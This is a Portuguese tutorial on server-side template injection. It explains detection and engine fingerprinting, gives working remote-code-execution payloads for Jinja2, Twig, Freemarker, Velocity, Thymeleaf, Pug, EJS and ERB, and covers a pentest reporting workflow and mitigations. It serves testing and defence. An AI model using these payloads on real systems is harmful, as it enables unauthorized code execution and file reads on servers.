SSTI (Server-Side Template Injection) é o que acontece quando uma aplicação concatena entrada do usuário diretamente em um template que é avaliado no servidor. O motor de template (Jinja2, Twig, Freemarker, etc.) não vê mais a entrada como dado a ser exibido — ele a vê como código de template a ser executado. A partir daí o que era um campo de nome, uma assinatura de e-mail ou um parâmetro de URL vira uma expressão arbitrária rodando no contexto do processo da aplicação. Como template engines existem justamente para avaliar expressões e, em muitos casos, acessar objetos e métodos da linguagem hospedeira, SSTI costuma escalar de “consigo calcular 7*7” para RCE (execução remota de código) com uma facilidade desconfortável. É essa proximidade com a linguagem que separa SSTI de XSS: ambos são injeção de marcação, mas XSS executa no navegador da vítima (contexto cliente, sandbox do browser, impacto sobre a sessão de quem acessa) enquanto SSTI executa no servidor (contexto da aplicação, sistema de arquivos, rede interna, credenciais). Mesma família, gravidade completamente diferente.
Como funciona
Um template engine recebe um template (texto com marcadores) e um contexto (um dicionário de variáveis) e produz uma string final. Quando você escreve Hello {{ name }} e passa {"name": "Alice"}, o engine substitui {{ name }} por Alice. Tudo certo: name foi tratado como dado.
O problema nasce quando o desenvolvedor monta o próprio template a partir da entrada do usuário. Em Python/Flask com Jinja2, a diferença é literalmente uma linha:
from jinja2 import Template
# SEGURO — entrada vai como dado no contexto
Template("Hello {{ name }}").render(name=user_input)
# VULNERÁVEL — entrada vira parte do template, é avaliada
Template("Hello " + user_input).render()
Na versão vulnerável, se user_input for Alice, nada acontece. Mas se for {{ 7*7 }}, o engine encontra um marcador no template que ele mesmo está compilando e avalia a expressão: a saída vira Hello 49. O 49 é a prova: a entrada não foi exibida, foi executada no servidor.
A raiz é sempre a mesma: confundir o template (lógica, confiável) com o contexto (dados, não confiável). Engines são projetados para avaliar expressões — e muitos expõem o suficiente da linguagem hospedeira (atributos de objetos, classes base, módulos) para que uma expressão se transforme em leitura de arquivo, chamada de sistema ou acesso a variáveis de ambiente. Cenários clássicos: e-mails transacionais com “template customizável”, páginas de erro que ecoam parâmetros, geradores de relatório/fatura e qualquer endpoint que aceite “personalize sua mensagem”.
Como detectar
Detecção de SSTI tem duas etapas: confirmar que há avaliação no servidor e identificar qual engine está por trás.
O primeiro teste é matemático, porque é inequívoco. Se a aplicação refletir 7 mas você injetar uma expressão e ela voltar como 49, não há ambiguidade — algo avaliou a multiplicação. O detalhe é que cada família de engine usa uma sintaxe de marcador diferente:
{{7*7}} → Jinja2, Twig, Nunjucks, Handlebars (sintaxe de chaves duplas)
${7*7} → Freemarker, Velocity, Thymeleaf (sintaxe de dólar)
<%= 7*7 %> → ERB (Ruby), EJS (Node)
#{7*7} → Pug, e algumas variantes
Por isso o pragmatismo manda usar um polyglot — uma string única que dispara em múltiplos contextos ao mesmo tempo, para você ver qual sintaxe “pegou”:
${{<%[%'"}}%\
Se algo quebra, reflete um valor calculado ou gera erro de template, você está na pista. A partir daí, a árvore de decisão desambígua engines que compartilham sintaxe. O truque consagrado é {{7*'7'}}, que se comporta de forma diferente conforme a semântica da linguagem:
{{7*7}} responde 49? → família de chaves duplas confirmada
{{7*'7'}} responde 7777777? → Jinja2 (Python: int * str repete a string)
{{7*'7'}} responde 49? → Twig (PHP: '7' é coagido para inteiro)
A lógica é “responde X, então engine Y”: multiplicação de inteiro por string repetindo a string indica Python (Jinja2); coerção numérica indica PHP (Twig). Para a família de dólar, dispare payloads específicos de Freemarker vs Velocity vs Thymeleaf e observe qual produz saída ou erro distinto. Mensagens de erro também entregam o jogo: um stack trace com jinja2.exceptions, freemarker.core ou org.thymeleaf resolve a identificação na hora. Sempre comece pela detecção genérica (7*7), depois refine com payloads que só uma engine entende.
Por engine
Jinja2 (Python/Flask) — o vetor é navegar a hierarquia de objetos Python a partir de um literal até alcançar subprocess ou os. Payload representativo de RCE:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Uma cadeia clássica alternativa, partindo de uma string vazia e subindo via __class__/__mro__/__subclasses__, também é consagrada quando self não está acessível:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Twig (PHP) — em versões modernas, o filtro map/filter aplicando uma função do PHP é o caminho mais limpo. O payload consagrado usa filter com system:
{{['id']|filter('system')}}
Em ambientes legados (Twig 1.x), a cadeia via _self ainda aparece:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
(Note que o filtro registrado deve ser a função de execução, ex. system ou exec, e o filtro chamado em seguida é o comando — id.)
Freemarker (Java) — a API expõe Execute diretamente, e é por isso que Freemarker é tão explorável:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity (Java) — abusa de reflection a partir de uma classe qualquer para chegar ao Runtime. Payload consagrado:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
$rt.getRuntime().exec('id')
A forma compacta clássica também funciona:
#set($e="exec")$rt.getRuntime().$e("id")
(Em ambos, o que importa é obter java.lang.Runtime via forName e invocar getRuntime().exec(...).)
Thymeleaf (Spring) — expression preprocessing com __${...}__ força a avaliação de SpEL, que abre Runtime. O vetor mais consagrado é via fragmento na URL/expressão:
${T(java.lang.Runtime).getRuntime().exec('id')}
Em pré-processamento de fragmento:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
Pug (Node) — permite bloco de JavaScript inline via interpolação não escapada, então é RCE direto:
#{global.process.mainModule.require('child_process').execSync('id')}
EJS (Node) — historicamente, o RCE consagrado não vem do delimitador de saída (que avalia uma expressão simples), e sim do abuso de opções de renderização, como o parâmetro outputFunctionName. Quando há controle sobre o template/opções, a injeção em scriptlet executa JS arbitrário:
<% global.process.mainModule.require('child_process').execSync('id') %>
(O delimitador <%= ... %> imprime o resultado de uma expressão; para statements arbitrários use <% ... %>.)
Handlebars (Node) — logic-less por design, mas explorável via manipulação do protótipo de constructor para construir uma função e executá-la (cadeia longa, bem documentada no PayloadsAllTheThings; o gatilho é alcançar require('child_process')).
ERB (Ruby) — o scriptlet avalia Ruby puro. As formas consagradas:
<%= `id` %>
Ou, equivalente: <%= system("id") %> / <%= IO.popen('id').read %>.
Como exploramos no pentest
O fluxo é sempre o mesmo, e a disciplina importa tanto quanto o payload:
-
Detectar. Injetar
{{7*7}},${7*7}e<%= 7*7 %>em cada ponto refletido. Procurar por49, comportamento anômalo ou erro de template. Em casos cegos (sem reflexo direto), usar payloads que disparam delay ou interação out-of-band para confirmar avaliação no servidor. -
Identificar a engine. Aplicar a árvore de decisão:
{{7*'7'}}para separar Jinja2 (7777777) de Twig (49); payloads de$-família para Freemarker/Velocity/Thymeleaf; ler com atenção qualquer stack trace, que costuma nomear a engine direto. -
Contornar sandbox / escalar. Várias engines rodam em sandbox (Jinja2
SandboxedEnvironment, sandbox do Twig, SpEL restrito). O trabalho aqui é encontrar a cadeia de objetos que escapa: subir de um literal para__globals__/__builtins__em Python, alcançarRuntimevia reflection em Java, ou chegar achild_processem Node. É a etapa que mais exige conhecimento específico da engine. -
Leitura de arquivo ou RCE. Antes de ir para RCE, leitura de arquivo já costuma comprovar impacto crítico com menos ruído — ler
/etc/passwdou um arquivo de configuração com credenciais demonstra acesso ao filesystem sem executar processo nenhum. -
Demonstrar impacto — com comando inócuo. A prova de RCE deve usar comandos não destrutivos e idempotentes:
id,whoami,hostname,uname -a. Nunca rode nada que altere estado, apague dados ou exfiltre informação real do cliente. O objetivo é evidenciar capacidade, não causar dano.
Boas práticas de evidência: capture o request completo e a resposta com a saída do comando; registre o payload exato, o timestamp e o usuário/contexto sob o qual o código rodou (o output de id já entrega isso). Se houver leitura de arquivo, prefira um arquivo de sistema previsível (/etc/passwd) a vasculhar dados sensíveis do cliente. Documente a engine identificada e a versão, porque isso direciona a remediação. Toda a cadeia — do 7*7 ao id — deve estar reproduzível no relatório.
Resumo para o relatório
Impacto: Execução remota de código no servidor de aplicação via injeção em template avaliado server-side, com acesso ao sistema de arquivos, variáveis de ambiente/credenciais e rede interna. Severidade: Crítica. CVSS 4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H(escopo/sistemas subsequentes em High pela capacidade de pivotar para a rede interna; ajusteSC/SI/SAparaNse o segmento não permitir movimento lateral). Pré-condições: Entrada do usuário concatenada/interpolada no corpo do template (em vez de passada como variável de contexto); engine sem sandbox efetivo ou com bypass conhecido. Evidência: Payload{{7*7}}retornou49(avaliação server-side confirmada);{{7*'7'}}retornou7777777(Jinja2); execução deidretornou a identidade do processo da aplicação. Requests, respostas e timestamps anexados.
Como mitigar
A regra de ouro é nunca tratar entrada do usuário como template. Entrada é dado; ela entra pelo contexto, não pelo corpo do template:
from jinja2 import Template
# INSEGURO — entrada controla a estrutura do template
def render_unsafe(user_input):
return Template("Hello " + user_input).render()
# SEGURO — template é fixo, entrada vai como variável de contexto
TEMPLATE = Template("Hello {{ name }}")
def render_safe(user_input):
return TEMPLATE.render(name=user_input)
No caso seguro, {{ 7*7 }} no user_input é renderizado literalmente como o texto {{ 7*7 }}, porque o engine só avalia marcadores que já estavam no template fixo — os dados do contexto nunca são reinterpretados como template.
Demais controles:
- Templates logic-less. Prefira engines/modos que separam dados de lógica por design (Mustache, Handlebars em modo restrito). Menos expressividade no template, menos superfície de ataque.
- Nunca renderizar templates controlados pelo usuário. Se o produto exige “templates customizáveis” pelo cliente, isso é uma feature de risco máximo — trate como código de terceiros executando no seu servidor.
- Conheça os limites reais do sandbox. Jinja2
SandboxedEnvironment, sandbox do Twig e SpEL restrito ajudam, mas têm bypasses históricos. Sandbox é defesa em profundidade, não a defesa primária. Não confie nele para conter entrada hostil. - Separe dados de lógica. A entrada do usuário sempre como argumento de
render(...), nunca via concatenação de strings no template. - Allowlist. Se o usuário precisa escolher um template, ofereça uma lista fechada de templates pré-aprovados no servidor — ele seleciona por ID, não fornece o conteúdo.
- Mantenha a engine atualizada. Muitos bypasses de sandbox são corrigidos em versões posteriores; rodar uma versão antiga reabre vetores já fechados.
Checklist de mitigação
- Garantir que nenhuma entrada do usuário é concatenada/interpolada no corpo de um template
- Passar toda entrada exclusivamente como variável de contexto em
render() - Eliminar qualquer feature de “template customizável” controlado pelo usuário ou isolá-la fortemente
- Preferir templates logic-less quando o caso de uso permitir
- Usar allowlist de templates pré-aprovados (seleção por ID, não por conteúdo)
- Habilitar o modo sandbox da engine como defesa em profundidade — sem confiar nele como única barreira
- Manter a template engine na versão mais recente e acompanhar CVEs de bypass
- Adicionar testes que injetam
{{7*7}}/${7*7}e validam que a saída é literal, não49
SSTI é um daqueles bugs em que a diferença entre seguro e crítico cabe em uma única linha de código — a fronteira entre passar a entrada como dado e deixá-la virar template. Trate template como lógica, dado como dado, e a classe inteira de vulnerabilidade desaparece. Para testar payloads por engine sem decorar cadeias, use nossa cheatsheet interativa de SSTI; e, como SSTI e XSS são da mesma família de injeção que muda tudo dependendo de onde o código roda, vale comparar com o guia de XSS.